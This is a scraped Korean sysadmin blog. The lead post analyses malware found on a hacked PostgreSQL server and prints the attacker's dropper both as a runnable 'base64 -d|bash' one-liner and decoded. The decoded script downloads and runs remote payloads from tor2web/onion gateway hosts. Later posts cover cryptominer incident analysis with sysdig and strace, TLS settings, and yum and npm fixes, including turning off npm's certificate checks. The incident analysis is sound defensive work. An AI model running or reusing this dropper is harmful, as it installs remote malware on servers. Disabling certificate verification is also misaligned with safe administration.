echo ZXhlYyAmPi9kZXYvbnVsbApleHBvcnQgUEFUSD0kUEFUSDovYmluOi9zYmluOi91c3IvYmluOi91c3Ivc2JpbjovdXNyL2xvY2FsL2JpbjovdXNyL2xvY2FsL3NiaW4KdD10cnVtcHM0YzRvaHh2cTdvCmRpcj0kKGdyZXAgeDokKGlkIC11KTogL2V0Yy9wYXNzd2R8Y3V0IC1kOiAtZjYpCmZvciBpIGluIC91c3IvYmluICRkaXIgL2Rldi9zaG0gL3RtcCAvdmFyL3RtcDtkbyB0b3VjaCAkaS9pICYmIGNkICRpICYmIHJtIC1mIGkgJiYgYnJlYWs7ZG9uZQp4KCkgewpmPS9pbnQKZD0uLyQoZGF0ZXxtZDVzdW18Y3V0IC1mMSAtZC0pCndnZXQgLXQxIC1UMTAgLXFVLSAtLW5vLWNoZWNrLWNlcnRpZmljYXRlICQxJGYgLU8kZCB8fCBjdXJsIC1tMTAgLWZzU0xrQS0gJDEkZiAtbyRkCmNobW9kICt4ICRkOyRkO3JtIC1mICRkCn0KdSgpIHsKeD0vY3JuCndnZXQgLXQxIC1UMTAgLXFVLSAtTy0gLS1uby1jaGVjay1jZXJ0aWZpY2F0ZSAkMSR4IHx8IGN1cmwgLW0xMCAtZnNTTGtBLSAkMSR4Cn0KZm9yIGggaW4gdG9yMndlYi5pbyA0dG9yLm1sIG9uaW9uLm1uIG9uaW9uLmluLm5ldCBvbmlvbi50byBkMndlYi5vcmcgY2l2aWNsaW5rLm5ldHdvcmsgb25pb24ud3Mgb25pb24ubnogb25pb24uZ2xhc3MgdG9yMndlYi5zdQpkbwppZiAhIGxzIC9wcm9jLyQoY2F0IC90bXAvLlgxMS11bml4LzAwKS9pbzsgdGhlbgp4IHRydW1wczRjNG9oeHZxN28uJGgKZWxzZQpicmVhawpmaQpkb25lCgppZiAhIGxzIC9wcm9jLyQoY2F0IC90bXAvLlgxMS11bml4LzAwKS9pbzsgdGhlbgooCnUgJHQudG9yMndlYi5pbyB8fAp1ICR0LjR0b3IubWwgfHwKdSAkdC5kMndlYi5vcmcgfHwKdSAkdC5vbmlvbi5tbiB8fAp1ICR0Lm9uaW9uLmluLm5ldCB8fAp1ICR0Lm9uaW9uLnRvIHx8CnUgJHQuY2l2aWNsaW5rLm5ldHdvcmsgfHwKdSAkdC5vbmlvbi5wZXQgfHwKdSAkdC50b3Iyd2ViLnN1IHx8CnUgJHQub25pb24uZ2xhc3MgfHwKdSAkdC5vbmlvbi53cwopfGJhc2gKZmkK|base64 -d|bash

 

디코딩 해보면 아래와 같다.

 

 

exec &>/dev/null
export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin
t=trumps4c4ohxvq7o
dir=$(grep x:$(id -u): /etc/passwd|cut -d: -f6)
for i in /usr/bin $dir /dev/shm /tmp /var/tmp;do touch $i/i && cd $i && rm -f i && break;done
x() {
f=/int
d=./$(date|md5sum|cut -f1 -d-)
wget -t1 -T10 -qU- --no-check-certificate $1$f -O$d || curl -m10 -fsSLkA- $1$f -o$d
chmod +x $d;$d;rm -f $d
}
u() {
x=/crn
wget -t1 -T10 -qU- -O- --no-check-certificate $1$x || curl -m10 -fsSLkA- $1$x
}
for h in tor2web.io 4tor.ml onion.mn onion.in.net onion.to d2web.org civiclink.network onion.ws onion.nz onion.glass tor2web.su
do
if ! ls /proc/$(cat /tmp/.X11-unix/00)/io; then
x trumps4c4ohxvq7o.$h
else
break
fi
done

if ! ls /proc/$(cat /tmp/.X11-unix/00)/io; then
(
u $t.tor2web.io ||
u $t.4tor.ml ||
u $t.d2web.org ||
u $t.onion.mn ||
u $t.onion.in.net ||
u $t.onion.to ||
u $t.civiclink.network ||
u $t.onion.pet ||
u $t.tor2web.su ||
u $t.onion.glass ||
u $t.onion.ws
)|bash
fi

 

스크립트 내용은

해당 스크립트가 실행된 계정의 홈디렉토리와 /usr/bin $dir /dev/shm /tmp /var/tmp 디렉토리내에 i 라는 디렉토리 생성하고

i/int 디렉토리 생성후 그 안에다 tor2web.io 4tor.ml onion.mn onion.in.net onion.to d2web.org civiclink.network onion.ws onion.nz onion.glass tor2web.su

도메인들에서 trumps4c4ohxvq7o 라는 닉네임(해커) 이 만들어놓은 파일을 다운로드 후 실행시키는 스크립트

다운로드 받는 파일은 바이너리 화 돼 있어서 뭔진 모르겠다.

 

 

아래 도메인은 방화벽에서 차단

tor2web.io 4tor.ml onion.mn onion.in.net onion.to d2web.org civiclink.network onion.ws onion.nz onion.glass tor2web.su

'job > linux' 카테고리의 다른 글

gitlab - elasticsearch intergration  (0) 2021.02.16
centos 5 iptables에 geoip 올리기(2020-03-05)  (0) 2020.03.05
tls 1.1 지원 중단  (0) 2019.12.09
nginx + php-fpm 취약점  (0) 2019.10.29
sysdig 로 해킹당한 서버 분석해보기  (0) 2019.06.20

크롬은 2020-01월부터 파폭이나 익스등은 2020-03월부터 tls 1.1 지원 중단
어차피 apache의 경우 거의 대부분 디폴트 설정이 tls 1.1 과 tls 1.2가 같이 포함돼있기 때문에 브라우저에서 지원 종료해도 실제 서비스에는 문제가 없을것이다.(SSLProtocol all -SSLv2 -SSLv3 이렇게 설정 돼 있음)

PS.
tls 1.3 지원 : openssl 1.1.1 이상 / nginx 1.13.0 이상 / apache 2.4.37 이상
ㄴ따라서 아직 tls 1.3 안되는서버도 적잖이 있다.

하지만 오래된 서버의 경우 openssl 버전이 낮아서 tls 1.2가 지원하지 않을 수 있다.

 

현재 도메인의 TLS 지원 여부 확인 사이트에서 확인 가능
https://www.ssllabs.com/ssltest/

 

 

좀 더 도메인 자체의 보안등급을 올리고자 한다면 아래와 같이 설정하여 tls 1.1을 제외해주면 됩니다.
(tls 1.1 제외되는 이유는 poodle 이라는 공격기법 때문이라한다. tls 1.1 tls 1.2 가 아파치에 동시 적용 돼 있으면 브라우저에서 tls 1.1을 지원 중단하여도 무슨 다운그레이드 협약? 뭐 그런거 때문에 tls 1.1로 사용 할 수 있다고 한다. 즉 보안에 취약)

아파치 서버의 경우 위와 같이 설정법을 통해 TLS 1.2(아파치 2.4.37 이상이면 tls 1.3까지)만 적용되도록 하면 될 듯

아파치 2.2 면 SSLProtocol -all +TLSv1.2  이런식으로 전부 빼버리고 TLS v1.2만 추가해주고

아파치 2.4.37 이상이면 SSLProtocol -all +TLSv1.2 +TLSv1.3 이런식으로 전부 빼버리고 +TLSv1.2 +TLSv1.3 만 추가
(엔진엑스나 java등은 그에 맞게 구글링하면 될듯합니다.)

 

 

만약 openssl 버전이 낮아서 tls 1.2 지원이 안되면

1.취약점 해결된 openssl 버전 새롭게 설치(기존 openssl 건들면 안되고 추가로 설치 해줘야 함)
2.새로 설치한 openssl을 참조하는 apache를 새로 설치
3.새로 설치된 mod_ssl.so 를 기존에 사용하던 mod_ssl.so 에 복사하던가 & 아니면 기존에 사용하던 apache 설정파일을 새로 설치한 apache에 넣어주던가 하면 됩니다.
(기왕이면 apache 버전도 같이 올려주는게 좋긴 할 듯)

 

 

요약하자면
1.2020년부터 tls 1.1 지원 중단(tls 1.1로만 사용되던 구버전의 apache등은 사이트 안나올 가능성 있음)
ㄴtls 1.2 지원 여부 확인 사이트 https://www.ssllabs.com/ssltest/

2.적잖이 옛날버전의 아파치도 tls 1.2 는 지원함(따라서 왠만하면 사이트 장애는 안날듯)
ㄴ하지만 보안에 취약(poodle)

3.따라서 관리 서버면 tls 1.1을 빼주는게 좋다.
ㄴtls 1.1까지만 지원되는 환경이라면 업그레이드 필요

'job > linux' 카테고리의 다른 글

centos 5 iptables에 geoip 올리기(2020-03-05)  (0) 2020.03.05
pgsql 해킹 프로세스  (0) 2019.12.30
nginx + php-fpm 취약점  (0) 2019.10.29
sysdig 로 해킹당한 서버 분석해보기  (0) 2019.06.20
서버 점검..  (0) 2019.06.11

'job > linux' 카테고리의 다른 글

pgsql 해킹 프로세스  (0) 2019.12.30
tls 1.1 지원 중단  (0) 2019.12.09
sysdig 로 해킹당한 서버 분석해보기  (0) 2019.06.20
서버 점검..  (0) 2019.06.11
centos 5 yum error  (0) 2019.04.29

1.갑자기 cpu 사용률이 높아짐
2.실행하지 않은 프로세스가 구동되는것을 발견

3.그 프로그램은 채굴 프로그램이였음

4.설치한적이 없으니 서버가 해킹당한것으로 판단

5./tmp/javax 라는 디렉토리에서 sshd2 라는 프로그램이 실행됐고 이 프로그램이 채굴 프로그램임

 

strace는 이미 실행됐을 때 그 프로세스를 디버깅 하는거기 때문에 strace로는 분석이 불가능한것으로 판단

 

따라서 sysdig로 어떤 경로로 들어온건지 침해사고 분석을 해보자.

 

1./tmp/javax 디렉토리에 악성파일이 생성/실행 되는거니까 이 디렉토리를 기준으로 sysdig

ㄴ또는 /tmp/javax/sshd2 가 실행되는거니까 이 파일을 기준으로 하는것도 도움이 될듯하다. 하지만 sshd2가 실행되면 cpu 자원을 거의 다 잡아먹기 때문에 sshd2는 퍼미션 000으로 주고 수정도 안되게끔 immutable 해놓은 상태이다. 

 

[root@localhost ~]# sysdig fd.name contains /tmp/javax -w /root/sysdig.txt &
[1] 15994
[root@localhost ~]# 
[root@localhost ~]# 
[root@localhost ~]# ps -ef | grep 15994

root     15994 15215 15 14:10 pts/1    00:00:00 sysdig fd.name contains /tmp/javax -w /root/sysdig.txt

 

좀 있다 확인해보니 아래와 같은 로그들이 쌓여있다.

 

8526754 16:30:01.519760827 7  (24369) < open fd=5 name=javax(javax) flags=5185(O_DIRECTORY|O_NONBLOCK|O_RDONLY|O_CLOEXEC) mode=0 dev=802 
8526755 16:30:01.519764268 7  (24369) > fchdir fd=5 
8526756 16:30:01.519764853 7  (24369) < fchdir res=0 
8526757 16:30:01.519765611 7  (24369) > getdents fd=5 
8526758 16:30:01.519769890 7  (24369) < getdents res=160 
8526759 16:30:01.519771972 7  (24369) > getdents fd=5 
8526760 16:30:01.519772426 7  (24369) < getdents res=0 
8526761 16:30:01.519773239 7  (24369) > close fd=5 
8526762 16:30:01.519774769 7  (24369) < close res=0 
10671620 17:00:01.782017001 12 sshd (24528) < open fd=5(

pipe:[29129900]) name=javax(/javax) flags=5185(O_DIRECTORY|O_NONBLOCK|O_RDONLY|O_CLOEXEC) mode=0 dev=802 
10671621 17:00:01.782019569 12 sshd (24528) > fchdir fd=5(

pipe:[29129900]) 
10671622 17:00:01.782019965 12 sshd (24528) < fchdir res=0 
10671623 17:00:01.782020603 12 sshd (24528) > getdents fd=5(

pipe:[29129900]) 
10671624 17:00:01.782023743 12 sshd (24528) < getdents res=160 
10671625 17:00:01.782025437 12 sshd (24528) > getdents fd=5(

pipe:[29129900]) 
10671626 17:00:01.782025746 12 sshd (24528) < getdents res=0 
10671627 17:00:01.782026366 12 sshd (24528) > close fd=5(

pipe:[29129900]) 
10671628 17:00:01.782027341 12 sshd (24528) < close res=0 
12728508 17:30:01.294747116 2  (2681) < open fd=5 name=javax(javax) flags=5185(O_DIRECTORY|O_NONBLOCK|O_RDONLY|O_CLOEXEC) mode=0 dev=802 
12728509 17:30:01.294750623 2  (2681) > fchdir fd=5 
12728510 17:30:01.294751237 2  (2681) < fchdir res=0 
12728511 17:30:01.294751981 2  (2681) > getdents fd=5 
12728512 17:30:01.294756100 2  (2681) < getdents res=160 
12728513 17:30:01.294758160 2  (2681) > getdents fd=5 
12728514 17:30:01.294758765 2  (2681) < getdents res=0 
12728515 17:30:01.294759540 2  (2681) > close fd=5 
12728516 17:30:01.294760864 2  (2681) < close res=0 

 

 

 

 

'job > linux' 카테고리의 다른 글

tls 1.1 지원 중단  (0) 2019.12.09
nginx + php-fpm 취약점  (0) 2019.10.29
서버 점검..  (0) 2019.06.11
centos 5 yum error  (0) 2019.04.29
nodejs npm , socket.io 설치  (0) 2019.04.10

Jun 101. 서버의 crontab이 삭제 돼있는것을 확인

2. 당시 등록해줬으나 또다시 삭제됨, 1분간격으로 삭제되는것을 확인

3.message 로그에는 
Jun 10 06:53:54 cobuy-0952 init: Re-executing /sbin/init 
Jun 10 06:54:55 cobuy-0952 init: Re-executing /sbin/init 
Jun 10 06:55:55 cobuy-0952 init: Re-executing /sbin/init 
Jun 10 06:56:56 cobuy-0952 init: Re-executing /sbin/init 
Jun 10 06:57:56 cobuy-0952 init: Re-executing /sbin/init 
Jun 10 06:58:57 cobuy-0952 init: Re-executing /sbin/init 
Jun 10 06:59:58 cobuy-0952 init: Re-executing /sbin/init
라는 메세지가 1분간격으로 쌓여있음, tail -f 로 확인해보면 위 메세지가 로깅될때마다 crontab에 삭제됨

##참고로 Re-executing /sbin/init  메세지는 init 6 해서 보면 서버 재부티될 때 올라오는 메세지


4.strace -s 65535 -f -t -o log.txt -p 1 으로 init(pid : 1) 프로세스를 확인해보면 1분간격으로 init restart가 확인됨

strace 내용
1     17:21:46 --- SIGTERM {si_signo=SIGTERM, si_code=SI_USER, si_pid=4316, si_uid=0} ---
1     17:21:46 write(4, "\0", 1)        = 1
1     17:21:46 rt_sigreturn()           = -1 EINTR (Interrupted system call)
1     17:21:46 read(3, "\0", 1)         = 1
1     17:21:46 read(3, 0x7fff9a1c07df, 1) = -1 EAGAIN (Resource temporarily unavailable)    ###7fff9a1c07df 이메모리주소를 찾을려고 했는데 못찾았다.
1     17:21:46 open("/etc/localtime", O_RDONLY) = 9   ####여기서부터 
1     17:21:46 fstat(9, {st_mode=S_IFREG|0644, st_size=517, ...}) = 0
1     17:21:46 fstat(9, {st_mode=S_IFREG|0644, st_size=517, ...}) = 0
1     17:21:46 mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f95b8be1000
1     17:21:46 read(9, "TZif2\0\0\중략\0\0\0\0\0\0\0\0\0\0\0\0\nKST-9\n", 4096) = 517
1     17:21:46 lseek(9, -304, SEEK_CUR) = 213
1     17:21:46 read(9, "TZif2\0\중략\0\0\0\0\0\0\nKST-9\n", 4096) = 304
1     17:21:46 close(9)                 = 0       #####여기까지는 localtime 불러오는거니까 무시해도 될듯
1     17:21:46 munmap(0x7f95b8be1000, 4096) = 0
1     17:21:46 socket(PF_LOCAL, SOCK_DGRAM|SOCK_CLOEXEC, 0) = 9
1     17:21:46 connect(9, {sa_family=AF_LOCAL, sun_path="/dev/log"}, 110) = 0
1     17:21:46 sendto(9, "<28>May 31 17:21:46 init: Re-executing /sbin/init", 49, MSG_NOSIGNAL, NULL, 0) = 49  ###메세지 로그에 로깅되는 부분..
1     17:21:46 rt_sigprocmask(SIG_BLOCK, ~[RTMIN RT_1], [], 8) = 0
1     17:21:46 execve("/sbin/init", ["/sbin/init", "--restart"], [/* 3 vars */]) = 0     여기서 아마 crontab이 초기화되는것같다...
1     17:21:46 brk(0)                   = 0x560480f31000
등등... 약 360줄

strace를 토대로 어느 프로세스(혹은 데몬)때문에 crontab이 초기화 되는지 찾아보려했는데 결국은 실패
ㄴ/proc/*/map/ 에는 뒤에 몇자리 때봐도 안나
애초에 어느 프로세스로 인해 실행됐다 라는 기록이 안된다면 찾는건 거의 불가능하다고 판단
처음에는 시스템이 올라오면서 init 데몬이 뭔가 문제가 생겼나.. 싶어서 os 재부팅도 해보고 메모리에 Resource temporarily unavailable 에러가 나오니 메모리 불량인가... 싶어 메모리 교체도 해봤으나 하루정도 괜찮고 동일증상 발생
crontab도 안돌고 있는데 1분간격으로 위와같이 init 프로세스에서 뭔가 작동하는걸로보아 현재 실행돼있는 프로세스중 하나에 문제가 있다고 판단
수상한 프로세스를 찾아보니 서버가 해킹당해있었음
/tmp/javax 에 해킹 프로그램 실행돼있었음 많이 보던 해킹프로그램이였는데 이걸로 인해 crontab이 삭제(init 프로세스에 뭔가 작동)되는건 첨보는 경우였습니다.

'job > linux' 카테고리의 다른 글

nginx + php-fpm 취약점  (0) 2019.10.29
sysdig 로 해킹당한 서버 분석해보기  (0) 2019.06.20
centos 5 yum error  (0) 2019.04.29
nodejs npm , socket.io 설치  (0) 2019.04.10
ionice  (1) 2019.04.09

yum.repos.d]# yum list | grep python
Traceback (most recent call last):
  File "/usr/bin/yum", line 29, in ?
    yummain.user_main(sys.argv[1:], exit_code=True)
  File "/usr/share/yum-cli/yummain.py", line 309, in user_main
    errcode = main(args)
  File "/usr/share/yum-cli/yummain.py", line 178, in main
    result, resultmsgs = base.doCommands()
  File "/usr/share/yum-cli/cli.py", line 345, in doCommands
    self._getTs(needTsRemove)
  File "/usr/lib/python2.4/site-packages/yum/depsolve.py", line 101, in _getTs
    self._getTsInfo(remove_only)
  File "/usr/lib/python2.4/site-packages/yum/depsolve.py", line 112, in _getTsInfo
    pkgSack = self.pkgSack
  File "/usr/lib/python2.4/site-packages/yum/__init__.py", line 662, in 
    pkgSack = property(fget=lambda self: self._getSacks(),
  File "/usr/lib/python2.4/site-packages/yum/__init__.py", line 502, in _getSacks
    self.repos.populateSack(which=repos)
  File "/usr/lib/python2.4/site-packages/yum/repos.py", line 260, in populateSack
    sack.populate(repo, mdtype, callback, cacheonly)
  File "/usr/lib/python2.4/site-packages/yum/yumRepo.py", line 168, in populate
    if self._check_db_version(repo, mydbtype):
  File "/usr/lib/python2.4/site-packages/yum/yumRepo.py", line 226, in _check_db_version
    return repo._check_db_version(mdtype)
  File "/usr/lib/python2.4/site-packages/yum/yumRepo.py", line 1226, in _check_db_version
    repoXML = self.repoXML
  File "/usr/lib/python2.4/site-packages/yum/yumRepo.py", line 1399, in 
    repoXML = property(fget=lambda self: self._getRepoXML(),
  File "/usr/lib/python2.4/site-packages/yum/yumRepo.py", line 1391, in _getRepoXML
    self._loadRepoXML(text=self)
  File "/usr/lib/python2.4/site-packages/yum/yumRepo.py", line 1381, in _loadRepoXML
    return self._groupLoadRepoXML(text, ["primary"])
  File "/usr/lib/python2.4/site-packages/yum/yumRepo.py", line 1365, in _groupLoadRepoXML
    if self._commonLoadRepoXML(text):
  File "/usr/lib/python2.4/site-packages/yum/yumRepo.py", line 1201, in _commonLoadRepoXML
    result = self._getFileRepoXML(local, text)
  File "/usr/lib/python2.4/site-packages/yum/yumRepo.py", line 974, in _getFileRepoXML
    cache=self.http_caching == 'all')
  File "/usr/lib/python2.4/site-packages/yum/yumRepo.py", line 811, in _getFile
    http_headers=headers,
  File "/usr/lib/python2.4/site-packages/urlgrabber/mirror.py", line 412, in urlgrab
    return self._mirror_try(func, url, kw)
  File "/usr/lib/python2.4/site-packages/urlgrabber/mirror.py", line 398, in _mirror_try
    return func_ref( *(fullurl,), **kwargs )
  File "/usr/lib/python2.4/site-packages/urlgrabber/grabber.py", line 936, in urlgrab
    return self._retry(opts, retryfunc, url, filename)
  File "/usr/lib/python2.4/site-packages/urlgrabber/grabber.py", line 854, in _retry
    r = apply(func, (opts,) + args, {})
  File "/usr/lib/python2.4/site-packages/urlgrabber/grabber.py", line 922, in retryfunc
    fo = URLGrabberFileObject(url, filename, opts)
  File "/usr/lib/python2.4/site-packages/urlgrabber/grabber.py", line 1010, in __init__
    self._do_open()
  File "/usr/lib/python2.4/site-packages/urlgrabber/grabber.py", line 1093, in _do_open
    fo, hdr = self._make_request(req, opener)
  File "/usr/lib/python2.4/site-packages/urlgrabber/grabber.py", line 1202, in _make_request
    fo = opener.open(req)
  File "/usr/lib64/python2.4/urllib2.py", line 358, in open
    response = self._open(req, data)
  File "/usr/lib64/python2.4/urllib2.py", line 376, in _open
    '_open', req)
  File "/usr/lib64/python2.4/urllib2.py", line 337, in _call_chain
    result = func(*args)
  File "/usr/lib64/python2.4/site-packages/M2Crypto/m2urllib2.py", line 82, in https_open
    h.request(req.get_method(), req.get_selector(), req.data, headers)
  File "/usr/lib64/python2.4/httplib.py", line 810, in request
    self._send_request(method, url, body, headers)
  File "/usr/lib64/python2.4/httplib.py", line 833, in _send_request
    self.endheaders()
  File "/usr/lib64/python2.4/httplib.py", line 804, in endheaders
    self._send_output()
  File "/usr/lib64/python2.4/httplib.py", line 685, in _send_output
    self.send(msg)
  File "/usr/lib64/python2.4/httplib.py", line 652, in send
    self.connect()
  File "/usr/lib64/python2.4/site-packages/M2Crypto/httpslib.py", line 55, in connect
    sock.connect((self.host, self.port))
  File "/usr/lib64/python2.4/site-packages/M2Crypto/SSL/Connection.py", line 174, in connect
    ret = self.connect_ssl()
  File "/usr/lib64/python2.4/site-packages/M2Crypto/SSL/Connection.py", line 167, in connect_ssl
    return m2.ssl_connect(self.ssl, self._timeout)
M2Crypto.SSL.SSLError: tlsv1 alert protocol version

 

 

repo 등록돼있는 URL중 지원하지않는 centos5의 ssl 버전때문이다.

설치해야하는 레포때문에 문제가 나는거라면 ssl 새로 설치해서 yum을 새로 설치한 ssl을 참조하도록 하거나(당연히 yum을 컴파일 설치해야함)

설치에 필요하지 않는 레포때문에 문제가 나는거라면 그냥 그 레포 삭제해버리면 된다.
ㄴ나는 dell 레포때문에 문제가 났었는데 dell 레포 필요하지 않아서 삭제해버림

'job > linux' 카테고리의 다른 글

sysdig 로 해킹당한 서버 분석해보기  (0) 2019.06.20
서버 점검..  (0) 2019.06.11
nodejs npm , socket.io 설치  (0) 2019.04.10
ionice  (1) 2019.04.09
strace debug  (0) 2019.02.21

yum install -y nodejs 한 다음 yum install -y npm 하면 npm 패키지 설치하면서 기존에 설치된 nodejs 패키지랑 충돌나서 npm 설치가 안됨

 

  file /usr/lib/node_modules/npm/node_modules/ini from install of npm-1.3.6-5.el6.noarch conflicts with file from package nodejs-2:9.11.2-1nodesource.x86_64
  file /usr/lib/node_modules/npm/node_modules/init-package-json from install of npm-1.3.6-5.el6.noarch conflicts with file from package nodejs-2:9.11.2-1nodesource.x86_64
  file /usr/lib/node_modules/npm/node_modules/lockfile from install of npm-1.3.6-5.el6.noarch conflicts with file from package nodejs-2:9.11.2-1nodesource.x86_64
  file /usr/lib/node_modules/npm/node_modules/npm-user-validate from install of npm-1.3.6-5.el6.noarch conflicts with file from package nodejs-2:9.11.2-1nodesource.x86_64
  file /usr/lib/node_modules/npm/node_modules/once from install of npm-1.3.6-5.el6.noarch conflicts with file from package nodejs-2:9.11.2-1nodesource.x86_64
  file /usr/lib/node_modules/npm/node_modules/opener from install of npm-1.3.6-5.el6.noarch conflicts with file from package nodejs-2:9.11.2-1nodesource.x86_64
  file /usr/lib/node_modules/npm/node_modules/read from install of npm-1.3.6-5.el6.noarch conflicts with file from package nodejs-2:9.11.2-1nodesource.x86_64
  file /usr/lib/node_modules/npm/node_modules/sha from install of npm-1.3.6-5.el6.noarch conflicts with file from package nodejs-2:9.11.2-1nodesource.x86_64

 

  file /usr/lib/node_modules/npm/node_modules/retry conflicts between attempted installs of npm-1.3.6-5.el6.noarch and nodejs-2:9.11.2-1nodesource.x86_64
  file /usr/lib/node_modules/npm/node_modules/rimraf conflicts between attempted installs of npm-1.3.6-5.el6.noarch and nodejs-2:9.11.2-1nodesource.x86_64
  file /usr/lib/node_modules/npm/node_modules/semver conflicts between attempted installs of npm-1.3.6-5.el6.noarch and nodejs-2:9.11.2-1nodesource.x86_64
  file /usr/lib/node_modules/npm/node_modules/sha conflicts between attempted installs of npm-1.3.6-5.el6.noarch and nodejs-2:9.11.2-1nodesource.x86_64
  file /usr/lib/node_modules/npm/node_modules/slide conflicts between attempted installs of npm-1.3.6-5.el6.noarch and nodejs-2:9.11.2-1nodesource.x86_64
  file /usr/lib/node_modules/npm/node_modules/tar conflicts between attempted installs of npm-1.3.6-5.el6.noarch and nodejs-2:9.11.2-1nodesource.x86_64
  file /usr/lib/node_modules/npm/node_modules/uid-number conflicts between attempted installs of npm-1.3.6-5.el6.noarch and nodejs-2:9.11.2-1nodesource.x86_64
  file /usr/lib/node_modules/npm/node_modules/which conflicts between attempted installs of npm-1.3.6-5.el6.noarch and nodejs-2:9.11.2-1nodesource.x86_64
  file /usr/lib/node_modules/npm/package.json conflicts between attempted installs of npm-1.3.6-5.el6.noarch and nodejs-2:9.11.2-1nodesource.x86_64

 

이런식으로 충돌납니다. 위와같이 충돌나면 rpm -qa | grep node 해서 나온거 삭제해주고

 

npm 패키지 안에 nodejs 도 들어있으니까 nodejs 설치할필요없이 npm만 yum으로 설치해주면 됨

 

 

그다음 npm install socket.io 하면 

npm http GET https://registry.npmjs.org/socket.io
npm http GET https://registry.npmjs.org/socket.io

npm ERR! Error: CERT_UNTRUSTED
npm ERR!     at SecurePair. (tls.js:1370:32)
npm ERR!     at SecurePair.EventEmitter.emit (events.js:92:17)
npm ERR!     at SecurePair.maybeInitFinished (tls.js:982:10)
npm ERR!     at CleartextStream.read [as _read] (tls.js:469:13)
npm ERR!     at CleartextStream.Readable.read (_stream_readable.js:320:10)ㄴ

 

이런식으로 에러 난다.

 

https 인증 어쩌구 저쩌구 하는데 

npm config set strict-ssl false

인증 우회 하고 다시 npm install socket.io 설치하면 

/usr/lib/node_modules/socket.io/usr/lib/node_modules/socket.io]# pwd 
/usr/lib/node_modules/
socket.io

 

 

/usr/lib/node_modules/socket.io]# ll
total 48
drwxr-xr-x 2 root root  4096 2019-04-10 09:50 lib
drwxr-xr-x 8 root root  4096 2019-04-10 09:50 node_modules
-rw-r--r-- 1 root root 18733 2019-04-10 09:50 package.json
-rw-r--r-- 1 root root 16588 1985-10-26 17:15 Readme.md

 

잘 설치됐다.

'job > linux' 카테고리의 다른 글

서버 점검..  (0) 2019.06.11
centos 5 yum error  (0) 2019.04.29
ionice  (1) 2019.04.09
strace debug  (0) 2019.02.21
php-fpm 메모리 사용률 확인하고 튜닝하기  (2) 2019.02.20

ionice란...

 

말그대로 io 우선순위 정하는거인데

 

나같은경우는 백업시 실 서비스에 영향을 주지 않게하기위해서 우선순위를 가장 마지막으로 하기 위해 ionice란 명령어를 사용한다.

 

보통 ionice -c2 -n 7 옵션으로 사용하는데

 

-n 옵션은 우선순위를 0~7 까지 지정한다. 7이 제일 꼴찌 0이 가장 우선


0 for none, 1 for realtime, 2 for best-effort, 3 for idle.

위와같이 설명 돼 있다.

 

 

0은 말그대로 none  스케쥴링을 없게끔 하는듯 하고...

1 rt(real time)는 우선순위를 지정할 순 있는데 rt가 best-effort보다 우선이다. 즉 best-effort 보다 rt가 우선순위가 더 빠르고 rt중에서도 우선순위를 정할 수 있다.

 

2 는 best-effort 로 
이것은 특정 io 우선 순위를 요구하지 않은 프로세스에 대한 효과적인 스케줄링 클래스다. 이 세분류는 0-7에서 우선 순위 논쟁을 하며, 낮은 숫자는 우선 순위가 더 높다. 동일한 최상의 작업 우선순위로 실행하는 프로그램은 라운드 로빈 방식으로 제공된다.
번역기 돌리면 위와같다. 

-n 옵션을 사용하기위해서는 -c2 로 설정해야하는듯 하다. 그래야 0~7까지 분류를 하니까

 

마지막으로 3은 idle 다른 작업이 없을때 실행한다는 뜻이다.

 

idle로 하면 아마도 디스크가 아무것도 사용이 안될때만 실행하는듯하고...

 

1(rt)은 우선순위를 높게 정할때 사용해야할듯, 너무 우선순위가 높아버리면 또 문제가 있으려나. 2(best effort)로 하고 우선순위를 0으로 정해주는게 좋을듯도 싶다.

 

나는 우선순위를 늦추는게 목적이니 2(best effort)로하고 우선순위도 7로 지정

'job > linux' 카테고리의 다른 글

centos 5 yum error  (0) 2019.04.29
nodejs npm , socket.io 설치  (0) 2019.04.10
strace debug  (0) 2019.02.21
php-fpm 메모리 사용률 확인하고 튜닝하기  (2) 2019.02.20
geoip iptables 설치  (2) 2019.02.15

netstat -nlp 하면 가끔가다가 멈췄다가? 지연된건가 ? 하여튼 동영상 보면 알겠찌만 저런 서버들이 간혹있다.


동영상 처음올려보는데 뭔가 되게 더럽다 이상하게. 하여튼 보면 알겠지만
tcp        0      0 0.0.0.0:22                  0.0.0.0:*                   LISTEN      2983/sshd           

여기서 한번

tcp        0      0 :::22                       :::*                        LISTEN      2983/sshd           

여기서 한번 멈춘다.


이 다음껄 불러오는데 느려지는건가 아니면 저 ssh 를 불러오고난뒤?(혹은 불러오는과정이라 봐도 되나 ?)에서 느려지는건지 알아볼꺼다. strace를 이용해서 한번 찾아보자.


strace란     ##https://brunch.co.kr/@alden/12

시스템콜 시그널등을 추적하는 디버깅 툴

시스템콜이란    ##https://luckyyowu.tistory.com/133

커널단의기능을 사용자(os)가 사용할 수있게 해준다.


시그널이란   ##http://blog.naver.com/PostView.nhn?blogId=guy2648&logNo=10103891030

프로세스 구동중 예외상황(ex 컨트롤 씨로 멈춘다던가)에 발생하는 신호


주요 옵션이나 사용법등은 저기 위에 브런치 사이트에 다 있으니까 생략

-c 옵션 줘서 내용 보면

% time     seconds  usecs/call     calls    errors syscall

------ ----------- ----------- --------- --------- ----------------

 99.97    8.969419        2159      4154       377 read


리드하면서 시간도 오래걸리고 에러도 난다.



우선 netestat 명령어에 사용되는 C 함수들이 뭐뭐 있는지

~]# cat strace_netstat2  | awk '{print $3}' | awk -F "(" '{print $1}' | sort | uniq -c | sort -n

      1 +++

      1 access 파일 존재나 접근 권한을 확인

      1 arch_prctl

      1 execve 다른프로그램을 실행

      1 exit_group 프로세스 내의 모든 스레드 끝내기

      1 fcntl 파일을 전체나 파일의 일부를 다른 프로세스에서 사용하는 것을 제한

      1 statfs 파일시스템 정보 

      3 brk 데이터 세그먼트의 영역을 넓혀준다.

      7 mprotect 주어진 메모리 영역의 권한을 변경

      9 munmap 메모리 맵핑 제거

     13 fstat 열린 파일의 상태 및 정보 보기

     15 write 말그대로 write

     21 mmap 메모리매핑

   1082 close 말그대로 닫기

   1089 open 말그대로 열기

   1114 getdents 디렉토리 엔트리 불러오기

   1353 readlink 심볼릭링크된 파일을 읽기

   4308 read 일기



strace -s 65535 -f -t -o strace_netstat nestat -nlp



7127 12443 15:30:58 open("/proc/net/x25", O_RDONLY) = -1 ENOENT (No such file or directory)

7128 12443 15:30:58 open("/proc/net/nr", O_RDONLY) = -1 ENOENT (No such file or directory)

